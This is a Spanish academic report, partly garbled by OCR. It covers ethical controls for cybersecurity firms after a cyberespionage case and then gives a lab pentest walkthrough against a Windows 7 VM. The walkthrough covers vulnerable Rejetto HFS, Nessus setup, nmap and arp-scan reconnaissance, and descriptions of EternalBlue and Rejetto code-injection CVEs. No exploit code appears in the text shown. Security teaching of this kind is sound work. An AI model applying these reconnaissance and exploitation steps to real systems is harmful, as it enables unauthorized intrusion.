Para evitar el abuso del acceso a informacion sensible, las empresas de ciberseguridad
deben implementar una serie de medidas preventivas:

1. Contratos de Confidencialidad y Clausulas de Exclusion: Incluir en los contratos
clausulas que prohiban cualquier uso de la informacion fuera de los finesacordados, con
sanciones significativas por incumplimiento (Whitman & Mattord, 2005).

2. Monitoreo y Auditoria Interna: Establecer controles de monitoreo continuo delacceso
a la informacion, con auditorias internas periodicas que aseguren la transparencia y el

cumplimiento de los protocolos (Whitman & Mattord, 2005).
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3. Segregacion de Funciones: Implementar una segregacion de funciones para minimizar
el riesgo de que un empleado actle de manera indebida sin supervision,asegurando que el
personal que realiza la auditoria no tenga acceso total a los datos auditados (Whitman &
Mattord, 2005).

4. Capacitacion Etica y Cdodigos de Conducta: Capacitar al personal en normas éticas y
en la responsabilidad de proteger la privacidad del cliente, reforzando la importancia de

la integridad profesional (Weber, 2022).

5. Por estarazon, el acceso a informacion sensible durante una auditoria deseguridad exige
una gestion rigurosa y responsable. En el caso de CyberFort Technologies, la deficiencia
en los controles y el mal uso de privilegios llevaron a graves violaciones éticas y legales.
Para preservar la seguridad y la integridad enla industria de la ciberseguridad, es
fundamental implementar controles claros, restringir el acceso a datos criticos y fomentar
una cultura ética que asegure el uso correcto de la informacion sensible de los clientes.
Normas internacionales como ISO/IEC 27001 y el GDPR pueden servir como guias para
establecer y fortalecer estas medidas (ESGinnova Group, 2018).

¢ Qué mecanismos de supervision y control deberian implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientasavanzadas de analisis
forense con fines no autorizados o éticamente cuestionables?
Para evitar incidentes como el Ciberespionaje y el uso indebido de herramientas de
analisis forense en empresas de ciberseguridad, como en el caso de CyberFort Technologies, es
fundamental implementar mecanismos de supervision y control que refuercen la integridad ética

y legal de sus operaciones. A continuacién, se proponen algunos mecanismos esenciales:
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1. Limitacion y Supervision del Acceso a Datos Sensibles
Es crucial establecer controles especificos que restrinjan el acceso a la informacion
critica para evitar el mal uso de herramientas forenses:

e Control de Acceso Basado en Roles (RBAC): Establecer permisos especificosque
restrinjan el acceso a informacion confidencial dnicamente al personal autorizado y
necesario para cada tarea.

e Monitoreo en Tiempo Real: Implementar sistemas de monitoreo continuo que registren
el uso de herramientas de analisis forense y envien alertas de actividad andémala, como
el acceso a informacion fuera del alcance de la auditoria (Gomez,2023).

2. Auditoria Interna y Externa Periddica
La auditoria frecuente y la revision de las actividades pueden detectar posibles abusos
en etapas tempranas:

« Auditorias Internas: Realizar auditorias regulares que revisen los registros de acceso y
actividades de los empleados. Estas auditorias pueden identificar malaspracticas o abusos
en el uso de herramientas forenses.

e Revision Externa Independiente: Contratar empresas auditoras externas que validen la
correctaimplementacion de normas éticas y legales mediante auditoriasimparciales(TIIA,
2024).

3. Segregacion de Funciones
Separar las responsabilidades dentro de la empresa es un mecanismo preventivo
clave:
o Separacion de Acceso y Analisis: Dividir las funciones entre los equipos que tienen

acceso a sistemas de clientes y aquellos que realizan el anlisis de informacién. Esto
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reduce el riesgo de abuso por parte de un solo individuo.

Manejo Dual de Datos Sensibles: Requerir la autorizacion de dos personas paraacceder
o manipular informacién confidencial, creando un sistema de control interno.

El Control 5.3 de la norma ISO 27001:2022, que se refiere a la segregacion de funciones.
El principal objetivo de este control es mitigar el riesgo de engafio, yerros y omision de
los controles de seguridad de la informacién. Para lograrlo, se recomienda separar las
tareas y areas de responsabilidad en conflicto, de modo que ninguna persona tenga el
control total sobre una tarea critica, esto ayuda a evitar errores humanos y el uso
fraudulento de recursos o informacién privilegiada, la segregacion de funciones es
especialmente importante en areas como la adquisicion, finanzas, tesoreria y
contabilidad, donde los riesgos son altos. Ademas, implementar esta practica no solo
mejora la seguridad de la informacion,sino que también forma trabajadores mas integrales

y preparados para diferentesroles (Escuela Europea de Excelencia, 2023).

4. Politicas de Confidencialidad Estrictas

La confidencialidad es fundamental para evitar el uso inapropiado de la informacion:
Acuerdos de Confidencialidad: Firmar acuerdos que prohiban el uso de informacion
obtenida durante auditorias para fines no autorizados por el cliente, con sanciones por
incumplimiento.

Clausulas de Exclusion Contractual: Incluir clausulas en los contratos que prohiban
explicitamente la recoleccion, venta o uso de informacion sin el consentimiento del

cliente (Uninorte, 2023).
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5. Capacitacion en Etica Profesional y Seguridad

La formacidn ética debe ser continua y adaptada a la realidad de la empresa:

Formacion Continua en Etica: Desarrollar programas de capacitacion sobre la ética y

responsabilidad profesional, con ejemplos practicos para evitar practicas cuestionables.

Cddigos de Conducta Obligatorios: Implementar un cédigo de conducta ético que
todos los empleados firmen, comprometiéndose a proteger la privacidad y derechos de

los clientes (Hodson, 2024) .

6. Herramientas de Monitoreo y Registro de Actividades

El monitoreo detallado de las actividades en las herramientas de analisis forensees

fundamental:

Registro Detallado de Actividades: Implementar sistemas de registro (logging) que
documenten todas las actividades en las herramientas de analisis, permitiendo rastrear y
verificar el acceso.

Alertas de Comportamiento Sospechoso: Programar alertas automaticas para

comportamientos fuera de lo comdn o accesos no autorizados (Sentrio, 2023).

7. Responsabilidad Legal y Contratacion Etica

Establecer un marco legal y ético claro es vital para evitar conflictos futuros:

Clausulas Contractuales Claras: Incluir sanciones especificas en los contratos
laborales por cualquier abuso de herramientas de andlisis o actos de Ciberespionaje.
Evaluacion de Antecedentes: Verificar la idoneidad ética y profesional de cada
empleado antes de otorgarle acceso a herramientas avanzadas de analisisforense(Grupo

Atico34, 2024).
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La implementacion de mecanismos de control y supervision en empresas de
ciberseguridad como CyberFort Technologies es crucial para evitar el mal uso deherramientas
forenses y asegurar que las operaciones cumplan con los estandares éticos y legales. Estas
medidas no solo refuerzan la transparencia y la responsabilidad en la gestion de informacion
sensible, sino que también incrementan la confianza de losinteresados y disminuyen los riesgos
legales y de reputacién vinculados al uso inapropiado de herramientas avanzadas de analisis
forense(Clavijo Ramirez et al., n.d.).
¢Como deberian responder los gobiernos y organizaciones cuando descubren queuna
empresa de ciberseguridad contratada ha cometido actos de Ciberespionaje?
¢Cuales serian las medidas adecuadas para restaurar la confianza y asegurar queno
ocurra nuevamente?

El ciberespionaje es una actividad ilegal que, ademas de comprometer la seguridad
nacional, erosiona la confianza en el sector de la ciberseguridad. Por esta razdn, cuando un
gobierno o una organizacion descubre que una empresa de ciberseguridad contratada ha
incurrido en este tipo de practicas, es crucial que tome medidas inmediatas y firmes para proteger
sus intereses, restablecer la confianza publicay establecer mecanismos preventivos que eviten la
repeticion de incidentes similares. Acontinuacion, se presentan las acciones recomendadas para
abordar esta situacion (Puime, 2009).

1. Medidas de Respuesta Inmediata

« Investigacion Exhaustiva y Sanciones: Es necesario iniciar una investigacion rigurosa
para evaluar la magnitud del incidente y reunir pruebas que permitan establecer
responsabilidades. Esto implica auditar las actividades de la empresa y, de acuerdo con

la Ley 1273 sobre delitos informéticos en Colombia, tomar medidas legales contra los
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individuos y entidades involucradas. Cuando la seguridad nacional se ve comprometida,
se recomienda coordinar la investigacion con agencias de inteligencia y seguridad

nacional para una respuesta integral.

Cancelacion del Contrato e Inhabilitacion para Contrataciones Futuras: Cuando se
confirme la transgresion de confianza, se debera rescindir el contrato con la empresa
implicada y limitar su participacion en futuras licitaciones tanto enel &mbito publico
como en el privado, como una medida preventiva para resguardar la confianza
institucional (Puime, 2009).

Notificacion a Afectados y Transparencia Publica: Es fundamental informar atodas
las partes afectadas y emitir un comunicado publico transparente. Esto no solo ayuda a
preservar la confianza publica, sino que también minimiza los dafiosreputacionales para

la organizacion afectada (Puime, 2009).

2. Medidas para Restaurar la Confianza

Fortalecimiento de la Regulacion y Normativas: Es imperativo que el gobiernorevise
las regulaciones existentes para exigir que las empresas de ciberseguridadcumplan con
estandares éticos y de transparencia méas estrictos, lo cual puede incluir requisitos
adicionales de reporte y verificacion (Puime, 2009).

Implementacion de Auditorias Regulares e Independientes: Establecer auditorias
independientes y periddicas permite monitorear las actividades de las empresas de
ciberseguridad contratadas, asegurando que se mantengan los estandares de integridad y
profesionalismo. Estas auditorias deben realizarse porentidades externas para garantizar

imparcialidad (Puime, 2009).
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o Capacitacion y Concientizacion: La capacitacion de empleados y altos directivos es
esencial para que puedan identificar y denunciar comportamientos poco éticos de los
proveedores de ciberseguridad. La creacién y el cumplimientode un cddigo ético
especifico para el sector también contribuyen a que los profesionales adopten
practicas responsables y conscientes del impacto de susacciones (Puime, 2009).

3. Medidas Preventivas para Evitar Incidentes Futuros

« Clausulas Contractuales de Cumplimiento Etico y Confidencialidad: Los contratos
deben incluir clausulas especificas sobre el acceso a informacionconfidencial y estipular
sanciones estrictas en caso de uso indebido de datos sensibles. Estas clausulas permiten
una respuesta legal rapida y efectiva ante posibles incumplimientos (Puime, 2009).

e Supervisién y Monitoreo Constante: La implementacion de tecnologia de monitoreo
permite a la organizacion cliente supervisar en tiempo real las actividades realizadas por
la empresa de ciberseguridad en sus sistemas, lo quefacilita la deteccion temprana de
comportamientos sospechosos (Puime, 2009).

« Creacion de un Cddigo Etico de Ciberseguridad: Desarrollar un codigo ético
especifico para el sector de la ciberseguridad que oriente las acciones de las empresas
contratadas promueve una cultura de integridad y responsabilidad profesional. Este
cddigo debe estar alineado con las regulaciones legales y éticaslocales e internacionales
(Puime, 2009).

Perspectiva Etica en Propuestas Laborales
Es importante que los profesionales de ciberseguridad mantengan altos estandares éticos
al aceptar contratos o roles en organizaciones, especialmente si estastienen antecedentes en

practicas cuestionables como el Ciberespionaje. Adoptar una postura ética sélida no solo
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fortalece el sector, sino que también asegura que los profesionales contribuyan a un entorno

seguro y confiable (Puime, 2009).

La deteccién de actividades de ciberespionaje por parte de una empresa de
ciberseguridad contratada representa una situacion grave que exige una respuesta contundente
y la implementacion de controles sostenibles. Estas medidas son crucialespara restablecer la
confianza, salvaguardar la seguridad nacional y asegurar que el sector de la ciberseguridad opere
conforme a principios éticos y legales (Puime, 2009).

6.3 ETAPA 3: EJECUCCION DE PRUEBAS DE INTRUCCION

Documente cada uno de los pasos que ejecutd y sus respectivas evidencias para explotar
la vulnerabilidad en la maquina Windows.
Preparacion del Laboratorio - Pentesting con Red Team

Es importante tener en cuenta que este laboratorio esta compuesto por:

Entorno de Practica: Kali Linux como maquina atacante y Windows 7 (Win7-SE2020-
X64) como maquina objetivo, configuradas en VirtualBox.
Herramientas instaladas y verificadas

Iniciamos las maquinas Kali Linux y Win7-SE2020-X64, respectivamente. Para realizar el

analisis del trafico de red se empleara Wireshark.

lHustracion 62 maquinas implementadas en VirtualBox

]
Jik Lj . 3
Herramientas ‘i‘»wfé |_|J LS \_(/
ud MNueva Anadir Configuracién Descartar Mostrar
ESI Seg. DB = General
Nombre: Win7-SE2020-X64
x64) Kali_Linux_RIMK Sistema operativo: Windows 7 (64-bit)
= Corriendo Grupos: ES| Seg. DB
| B Sistema
(x64f | Win7-SE2020-X64 —
" _ = Memoria base: 8184 MB
= Corriendo o

Procesadores: 2
Orden de arranque:  Optica, Disco duro
Aceleracion: Paginacion anidada, Paravirtualizacion Hyper-V

Fuente: Elaboracion propia.
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llustracion 63 Maquinas corriendo

e 7/‘

i 0 o . ) all (59 8] CTRL DERECHA. |

" Fuente: Elaboracion propia.

llustracion 64 Aplicacion Rejetto

E® Rejjeto_123456.zip

Rejjeto_123456

Date Modified File Size

Fuente: Elaboracion propia.
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Instalacion de la aplicacion Rejetto en el Windows 7
Para ello lo descargo a una unidad externa en este caso a una USB para llevarlo al win7

asi:

lHustracion 65 Ejecutable del Archivo Rejetto en Win7

P 1 2 |
I ][ » reETTO e p
Organizar ~ Incluir en biblicteca = Compartir con = Nueva carpeta == - i 'ﬁ‘

S

s * Nombre Fecha de modifica.. Tipo Tamafio
=
4 Descargas E‘ 1, DarkComet_123456 28/11/202010:4% a...  Carpeta comprimi... 14.290 KB
Bl Escritorio & hfs 16/02/2014 07:58 a...  Aplicacion 743 KB

2] Sitios recientes

3 Bibliotecas
3 Documentos
; -

[0 r

| N

I 2 elementos

Fuente: Elaboracion propia.

llustraciéon 66 WireShark

P4 Kali_Linux_RIMK [Corriendo] - Oracle VirtualBox

“mEko

The Wireshark Network Analyzer
File File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

N 4A® BRMEB a « » n « > B o= o [f§

Welcome to Wireshark

...using this filter: '} Allinterfaces shown~

v

Loopback: lo
bluetooth-monitor
nflog
nfqueue
dbus-system
dbus-session
@ Cisco remote capture: ciscodump

User's Guide - Wiki - Questions and Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.2.5 (Git v4.2.5 packaged as 4.2.5-1).

E  Ready to load or capture No Packets Profile: Default

Fuente: Elaboracion propia.
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Ahora me aseguro que Kali Linux esté conectado a la misma red que Windows 7. Esto puede ser

una red NAT o un adaptador puente en VirtualBox.

lHustracion 67 Configuracion de los adaptadores de red

Kali_Linux_RIMK - Settings = (m]
_- General Red
. Adaptador 1
B | sistema
Habil red
- Pantalla
— Conectado a: Adaptader puente ~
iJ Almacenamiento Nombre: | Intel(R) Wi-Fi 6§ AX200 160MHz =2
(9 Audio
(7 usB
—
Carpetas compartidas
Carpetas compartidas
‘ Nombre Ruta Acceso  Automontar En Ij_j
[ Aceptar Cancelar Ayuda

Fuente: Elaboracion propia.

Obtener Informacion de la Interfaz de Red

e Abriendo la terminal en Kali Linux y se ejecutando el comando “ip

llustracion 68 Verificacion de la IP del Kali Linux

a”

te UNKNOWN group default glen 1200

group default glen 1000

Fuente: Elaboracion propia.

o Objetivo: Verificar la direccion IP y la interfaz de red utilizada. IP de la maquina atacante

es: 192.168.5.105/24 broadcast 192.168.5.255.
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Ahora procedo a ejecutar el “HFS” como se observa a continuacion: Se configura nuevo

puerto de escucha para el Rejetto el 8080.

lHustracion 69 Configuracion Puerto

#8 HFS ~ HITP File Server 2.3 Build 288 o= =]
& Menu
@ Open in browser | Copy to clipboard
Virtual File System Log
D/ |
.
Port =
Spedfy a port to accept connection,
or leave empty to decide automatically.
8080

‘-J_-! IP address ™1 File Status Speed Time.. Progress

Fuente: Elaboracion propia.
Anélisis de la Imagen: Interfaz de HFS (HTTP File Server)
La imagen muestra la interfaz grafica de usuario (GUI) del servidor HTTP File Server
(HFS) version 2.3. Esta aplicacion permite compartir archivos y carpetas a través de una red local
o0 Internet.
Elementos clave de la imagen:

o Barrade titulo: Indica que se esta ejecutando la versién 2.3 de HFS y que se encuentra en
el modo "Easy" (facil), lo cual sugiere una configuracion simplificada.

o Direccién URL: Muestra la direccion web a la que se puede acceder al servidor HTTP, en
este caso, http://192.168.5.102/. Esto significa que cualquier dispositivo conectado a la
misma red puede acceder a los archivos compartidos ingresando esta direccién en un
navegador web.

o Cuadro de dialogo "Port": Este cuadro se utiliza para configurar el puerto en el que el
servidor escuchara las conexiones entrantes. El puerto 8080 ha sido ingresado

manualmente, lo que significa que el servidor estara escuchando en ese puerto en lugar del
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puerto 80, que es el puerto estandar para los servidores HTTP.

Seccidén "Virtual File System™: Esta seccion permite al usuario gestionar la estructura de
carpetas y archivos que se compartiran a traves del servidor HTTP.

Seccién ""Log™: Aqui se registran las actividades del servidor, como las conexiones, las
solicitudes de archivos y los errores.

Boton ""Copy to clipboard™: Este boton se utiliza para copiar la direccion URL del

servidor al portapapeles (Mayoraz, 2019).

¢Por qué cambiar el puerto?

Cambiar el puerto del servidor HTTP puede ser Gtil en varias situaciones:

Evitar conflictos: Si hay otros servicios en la red que ya estan utilizando el puerto 80,
cambiar el puerto de HFS evita conflictos y permite que ambos servicios funcionen
simultaneamente.

Mayor seguridad: Al utilizar un puerto no estandar, se reduce la probabilidad de que el
servidor sea atacado por escaneres de puertos que buscan servicios HTTP en el puerto 80.
Configuracion especifica: En algunos entornos de red, puede ser necesario utilizar un

puerto especifico por razones de seguridad o politicas de red (Dincer, 2024)

Pasos realizados:

1.

3.

Abrir la configuracion del puerto: Se ha hecho clic en el boton de configuracién del
puerto para abrir el cuadro de dialogo correspondiente.

Ingresar el nuevo puerto: Se ha ingresado el nimero 8080 en el campo de texto para
especificar el nuevo puerto de escucha.

Aceptar los cambios: Se ha hecho clic en el botdn "OK" para aplicar los cambios y cerrar

el cuadro de dialogo (Dincer, 2024).
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lHustracion 70 Puerto de escucha y se verifica la direccion IP

#2 HFS ~ HTTP File Server 2.3 Build 288 =] ]

& Menu "{P Port: 8080 | @2 You are in Easy mode
@ Open in browser | http://192.168.5.102:8080/

“| Copy to clipboard

Wirtual File System Log

8 IP address — File Status Speed Time.. Progress

Out: 0.0 KB/s  In: 0.0 KB/'s

Fuente: Elaboracion propia.
Esta imagen demuestra la configuracion y la interfaz de un servidor HTTP File Server,
utilizado para compartir archivos a través de una red usando el protocolo HTTP. La URL resaltada
indica la direccion donde se puede acceder al servidor.

Descarga e instalacion de Nessus

llustracion 71 Descarga del software NESSUS

Otenable |

Tenable Nessus

' Download and Install Nessus

nnnnnn

@& Do ]

Fuente: Elaboracion propia.
Proceso de descarga del software de escaneo de vulnerabilidades Nessus en una

distribucion de Kali Linux. Desde la pagina oficial de Nessus.
lHustracion 72 Actualizacion de Kali Linux

reot@RIMK: fhome/kali

File Actions Edit WView Help

fhome/kali

ali kali-rolling InRel

fhome/kali

Fuente: Elaboracion propia.
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La imagen muestra una terminal de Linux, especificamente en una sesion de root en Kali
Linux. Se ejecuta el comando "apt-get update’, que actualiza la lista de paquetes disponibles en el
sistema desde el repositorio de Kali ("http://http.kali.org/kali’). El mensaje de salida confirma que

la lista de paquetes se ha leido y actualizado correctamente, sin errores ni advertencias.

llustracion 73 Ubicacion del archivo ejecutable de NESSUS

/home/kali
update
Hit:1 http://http.kali.org/kali kali-rolling InRelease
Reading package lists ... Done

/home/kali
Downloads

otal 68304

rw-rw-r— 1 kali kali 69929068 Nov 3
-r— 1 kali kali 722 Nov 3
-r— 1 kali kali 3376 Nov 3

rw-rw-r—— 1 kali kali 722 Nov 3

/home/kali/Downloads

Fuente: Elaboracion propia.

La imagen muestra una sesion en la terminal de Kali Linux. Después de actualizar la lista
de paquetes con apt-get update, y el usuario realiza una navega al directorio de Downloads con cd
Downloads. Alli, se ejecuta el comando “lI” (que lista los archivos en formato detallado) y se
observa el contenido del directorio.

Los archivos incluyen:

Un archivo grande llamado Nessus-10.8.3-ubuntu1604_amd64.deb, un paquete de

instalacion para Nessus en formato .deb para sistemas basados en Ubuntu. Entre otros

(Hackertarget, 2022).

llustracion 74 Instalacion del software NESSUS con el comando KDPG

/home/kali/Downloads

1T
g to unp
Unpacking nessus (1

Fuente: Elaboracion propia.
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Instalacion de Nessus en Kali Linux utilizando el comando KDPG.

llustracion 75 Inicio de los servicios de NESSUS

root@RIMK: fhome/kali/Downloads

File Actions Edit View Help

Pass

ntinuous_RNG_Test) : P

start nessusd.service

inner

/home/kali/Downloads

start nessusd.service

Fuente: Elaboracion propia.

La imagen muestra una terminal de Linux (Kali Linux) con el usuario root en la ruta
“/home/kali/Downloads’. En la terminal, se observan los resultados de una serie de pruebas de
cifrado y firma digital, donde todas han pasado (se indica "Pass" en cada caso). Ademas, se ve el
mensaje "INSTALL PASSED" y las instrucciones para iniciar el servicio de Nessus Scanner, un
software de escaneo de vulnerabilidades. Al final, se destaca el comando para iniciar el servicio

de Nessus ("/bin/systemctl start nessusd.service’)(Hackertarget, 2022).

llustracion 76 Verificacion del estado del servicio

/home/kali/Downloads

start nessusd.service

/home/kali/Downloads

status nessusd.service

Fuente: Elaboracion propia.
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En esta imagen resalta un comando ejecutado en la terminal de Linux (Kali Linux) como
usuario root en la ruta /nhome/kali/Downloads:

/bin/systemctl status nessusd.service: Verifica el estado del servicio de Nessus. Este
comando muestra informacion sobre si el servicio esta activo, en ejecucion o si ha habido algin
problema al iniciarlo.

El uso de este comando permite confirmar que el servicio de Nessus Scanner se haya

iniciado correctamente después de ejecutar el comando de inicio (Hackertarget, 2022).

llustracion 77 El software se encuentra instalado y activo

/home/kali/Downloads

cet: disabled)

nerability Scanner.

Fuente: Elaboracion propia.
En esta imagen, el comando “status nessusd.service’ muestra el estado del servicio de
Nessus en la terminal de Linux (Kali Linux). El rectangulo amarillo resalta la linea clave:

e Active: active (running): Esto indica que el servicio de Nessus esta en ejecucion
correctamente.

e Since Sun 2024-11-03 13:55:32 -05; 49s ago: Muestra la fecha y hora en que el
servicio fue iniciado, junto con el tiempo que lleva en funcionamiento (49 segundos en
este caso).

Este estado confirma que el servicio Nessus se ha iniciado exitosamente y esta operativo

(Hackertarget, 2022).
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VERIFICAMOS DESDE LA WEB

llustracion 78 Verificacion desde la Web

€a Not Secure  http

YPT0it-DB = Google Hacking DB OffSec

1e to localhost. If you visit this site,
mails, or credit card details.

othing you can do to resolve it.

n reach ou e support teams for assistance

Solback (Becommened]

Fuente: Elaboracion propia.
Esta ilustracion verifica que el acceso a Nessus desde el navegador web est& funcionando
correctamente, permitiendo a los usuarios iniciar sesion y gestionar los escaneos de

vulnerabilidades desde la interfaz grafica.

lustracion 18 Registro en NESSUS lHustracion 19 Codigo activacion NESSUS

Otenable

Nessus

Otenable

Nessus

Get an activation code

To register for a free Nessus Essentials activation
code, enter your information.

First Name Last Name

License Information

Activation Code: V5ZJ-R2XL-4N3B-BM5S-|BVH

Email

ing.rodrigomendezk@gmail.com

: . Continue
Already have activation code? Skip this step to enter it

manually.

Back Register

Fuente: Elaboracion propia.
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llustracién 21 Inicio de la instalacion del software
NESSUS

)tenable Otenable

Nessus
Nessus

llustracion 20 Ingreso de credenciales

unt. Use this

Initializing

Please wait while Nessus s initializing

Downloading plugins...

Fuente: Elaboracion propia.

Las iméagenes muestran el proceso de registro y configuracion inicial del software Tenable
Nessus.
1. La primera imagen en la parte superior izquierda muestra un formulario para obtener un codigo
de activacion, en el que se deben ingresar el nombre, apellido y correo electrénico. Hay opciones
de "Back", "Skip" y "Register".
2. La imagen superior derecha muestra la pantalla de **License Information** con un codigo de
activacion ya ingresado y un boton de "Continue™.
3. En la parte inferior izquierda, se muestra la creacion de una cuenta de usuario con un formulario
para ingresar un nombre de usuario y contrasefia. Hay un boton de "Submit".
4. La ultima imagen en la parte inferior derecha muestra la pantalla de inicializacion del software,
donde se indica que se estan descargando los complementos y se ve una barra de progreso en

proceso (Hackertarget, 2022).
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lHustracion 79 Ingresamos a la aplicacion NESSUS

Otenable

Nessus Essentials

B Remember Me Sign In

Plugins are compiling Nessus functionality will be limited uritif
compilation is complete.

e ne

Fuent: Elabracn ropia.
Acceso a la aplicacion Nessus en la interfaz web, por medio de las credenciales de
usuario creadas anteriormente.
Se esta realizando el proceso de compilacién de plugins para tener el software en total

funcionalidad (Hackertarget, 2022).

lHustracion 80 Compilacion de plugins

s Sans  Setings O 0 1 rim'o

I Compiing pugins 9%
'V'I}"SEHTS mot Newoe RLEREl
W MySans
i Al
i m

Fuente: Elaboracion propia.
Pasos de un proyecto de Pentesting
Estos son los pasos fundamentales que como experto en ciberseguridad e integrante de un
equipo de seguridad de la informacion (Redteam) debo seguir para realizar de manera adecuada

una prueba de penetracion (pentesting). Los cuales son esenciales para identificar y evaluar las
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vulnerabilidades de seguridad en una organizacion, asegurando la proteccion efectiva contra

posibles amenazas y ataques (Alcarria, 2023).

Fase de Recoleccion de Informacion

En la fase de recoleccion de informacion, también conocida como fase de reconocimiento,

el objetivo es reunir la mayor cantidad de datos posible sobre el objetivo. Esta informacién sera

vital para las pruebas de intrusion y la posterior explotacién de vulnerabilidades. En esta etapa, se

busca identificar todos los vectores de ataque que podrian hacer al objetivo vulnerable (Alcarria,

2023).

Recoleccion Pasiva o footprinting:

Se empleo la herramienta web:

llustracion 24 Logo Shodan

SHODAN
Fuente Tomada de: https://www.stareup.es/shodan/

llustracion 25 Herramienta Shodan

€« > C 23 shodan.io/search?query=windows7

88 M Gmail  #Z* Maps 3 YouTube [ 1.000 empleos de In...

'. SHODAN Explore Downloads Pricing & windows7 n
TOTALRESULTS & View Report (&) Browse Images (U View on Map Q Advanced Search
230 Product Spotlight: Keep track of what you have connected to the Internet. Check out Shodan Monitor
TOP COUNTRIES 5.160.82.82 4
respina HTTP/1.1 200 OK
= Iran, Islamic Republic Date: Ued, 86 Nov 2024 82:08:03 GMT

of, Marvdasht

pache/2.4.51 (Win64) OpenssL/1.1.11 PHP/7.4.25
-By: PHP/7.4.25

e: PHPSESSID-4tnpesd1age7ctadibnalogsng; path=/
Thu, 19 Nov 1981 @8:52:00 GHT

trol: no-store, no-cache, must-revalidate

T eol-product

Iran, Islamic Republic of 8

7
Fuente Tomada de: https://www.shodan.io/search?query=windows?
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llustracion 26 Vulnerabilidad en Windows 7 ms17_010_eternalblue

ms17_010_eternalblue es un exploit remoto contra Microsoft Windows, escrito originalmente por Equation Group (NSA) y filtrado por Shadow
Brokers (una entidad de pirateria desconocida). Se considera un exploit confiable y le permite obtener acceso no solo como SYSTEM (el
privilegio mas alto del modo de usuario de Windows), sino también control total del kernel en el anillo 0. En las pruebas de penetracion
modernas, este exploit se puede utilizar en entornos internos y externos.

En lo que respecta a exploits de kernel remotos, este es altamente confiable y seguro de usar.

El comando de verificacion de ms17_010_eternalblue también es muy preciso, porque el parche de Microsoft agregé inadvertidamente una
divulgacion de informacion con verificaciones adicionales en rutas de cédigo vulnerables.

Aplicacion vulnerable

Este exploit funciona contra un servicio SMB vulnerable de uno de estos sistemas Windows:

* Windows XP x86 (todos los paquetes de servicio)

* Windows 2003 x86 (todos los paquetes de servicio)

* Windows 7 x86 (todos los paquetes de servicio)

* Windows 7 x64 (todos los paquetes de servicio)

* Windows 2008 R2 x64 (todos los paquetes de servicio)
* Windows 8.1 x64

* Servidor Windows 2012 R2 x64

e Windows 10 Pro x64 (<Version 1507)

* Evaluacion de Windows 10 Enterprise x64 (version anterior a 1507)
Fuente Tomada de: https://github.com/rapid7/metasploit-
framework/blob/master/documentation/modules/exploit/windows/smb/ms17 010 eternalblue.md

llustracion 27 Vulnerabilidad FindMacroMarker en Rejetto CVE-2014-6287

Vulnerabilidad en la funci&oacute;n findMacroMarker
en Rejetto HTTP File Server (CVE-2014-6287)

Gravedad CVSSv3.1: CRITICA

Tipo: CWE-94 M3 Control incorrecto de generacion de cédigo (Inyeccion de codigo)
Fecha de publicacién: 07/10/2014

Ultima modificacién: 25/02/2021

Descripcion

La funcion findMacroMarker en parserLib.pas en Rejetto HTTP File Server (también conocido como HFS o HttpFileServer) 2.3x anterior a 2.3c permite
a atacantes remotos ejecutar programas arbitrarios a través de una secuencia %00 en una accion de busqueda.

Impacto

Vector 3.x CVSS:301/AVIN/AC
Puntuacién base 3.x ©.50

Gravedad 3.x CRITICA

Puntuacién base 2.0 10.00

Fuente tomada de: https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2014-6287
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llustracion 28 Vulnerabilidad en Rejetto HTTP File Server CVE-2024-23692

INICIO / INCIBE-CERT / Alertatemprana / Vulnerabilidades / CVE-2024-23692

Vulnerabilidad en Rejetto HTTP File Server (CVE-2024-
23692)

Gravedad CVSS v3.1: CRITICA I

Tipo: CWE-94 B Contral incorrecto de generacidn de cédigo (Inyeccidn de cé

Fecha de publicacién: 31/05/2024

Ultima modificacién: 14/08/2024

Descripcion

Rejetto HTTP File Server, hasta la version 2.3m incluida, es vulnerable a una vulnerabilidad de inyeccién de plantilla. Esta vulnerabilidad permite que
un atacante remoto no autenticado ejecute comandos arbitrarios en el sistema afectado enviando una solicitud HTTP especialmente manipulada. A
partir de la fecha de asignacion de CVE, Rejetto HFS 2.3m ya no es compatible.

Impacto

Vector 3x CYSS31/AVN/ACL/PRN/UIN/SU/CH/THIAH
Puntuacién base 3x 9.80

Gravedad 3.x CRITICA

Fuente Tomada de: https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-23692

Recopilacion Activa o fingerprinting

llustracion 29 Logo de Metasploit

@ Metasploit

Fuente: Tomada de: https://www.campuscibersequridad.com/blog/item/180-metasploit-herramienta-esencial-
ciberseguridad

llustracion 30 Herramienta Metasploit

- = B

File Actions Edit WView Help

1i elper—-scripts

skipping init
log command,

isploit Documentation: B [ -metasploit.coms
‘smb/ms17_01@_eternalblue

rnalblu

Fuente: Elaboracion propia.
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llustracion 31 Herramienta Nessus

@tenable‘ Nessus

Fuente Tomada de: https://www.g2.com/products/tenable-nessus/video-reviews

Para la fase de reconocimiento se utilizard la herramienta NMAP, la cual es una
herramienta gratuita y de codigo abierto, que permite realizar un “mapeo de la red”, en donde se
puede identificar los hosts activos en la red, el estado de los puertos, los servicios que corren en
ellos y el sistema operativo entre otras cosas (Allen et al., 2014).

Descubrimiento de Dispositivos en la Red
e Realiza un escaneo de dispositivos activos con Nmap: Empleo el comando nmap -sn

192.168.5.0/24

lHustracion 32 Escaneo de red con Nmap

momm P

kali@ KaliRimmbk: ~

Actions Edit WView Help

Host
Mmap
Host
Nmap
Host
Mmap

Fuente: Elaboracion propia.
o Resultados Esperados: Una lista de dispositivos activos en la red, incluyendo la maquina
Windows 7.
1.5 Escaneo ARP
e Usando arp-scan permite identificar dispositivos en la red: “sudo arp-scan —localnet”

(domingov, 2020).
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llustracion 33 Escaneo ARP

kali@KaliRirmb: ~

Edit Wiew Help

Fuente: Elaboracion propia.

Ejecucion del comando arp-scan --localnet en Kali Linux para realizar un escaneo ARP y

descubrir otros dispositivos en la red. Usando el comando nmap -O -v 192.168.5.102/24

llustracion 34 Escaneo con Nmap -O -v

_Linux_RIMK [Corri

ARP Ping

hosts
FI

0now;m

[ )
T R o =]

=

Nmap

Nmap

Nmap n report for
Nmap in report for

.16 [host down]
19 5 [host down]

Fuente: Elaboracion propia.
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Uso de Nmap con las opciones -O -v para descubrir sistemas operativos y obtener mas
informacion de los dispositivos en la red.

El uso de Nmap con las opciones -O y -v es una técnica avanzada en la fase de
reconocimiento activo que permite a los pentesters obtener una comprension detallada de los
